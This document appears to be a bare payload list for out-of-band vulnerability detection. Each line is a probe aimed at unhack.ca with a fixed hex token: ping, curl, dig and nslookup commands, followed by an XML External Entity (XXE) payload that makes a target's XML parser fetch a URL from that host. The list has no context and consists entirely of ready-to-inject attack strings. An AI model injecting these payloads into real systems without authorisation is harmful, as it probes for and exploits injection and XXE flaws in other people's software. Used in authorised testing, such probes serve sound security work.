$ ping -c1 -p 008531b858bacbef9beab5afa76a1e00 unhack.ca
$ curl http://unhack.ca/p/8531b858bacbef9beab5afa76a1e
$ dig 8531b858bacbef9beab5afa76a1e @unhack.ca
$ dig 8531b858bacbef9beab5afa76a1e.ns.unhack.ca
C:\> nslookup 8531b858bacbef9beab5afa76a1e unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8531b858bacbef9beab5afa76a1e">]> <foo>&xxe;</foo>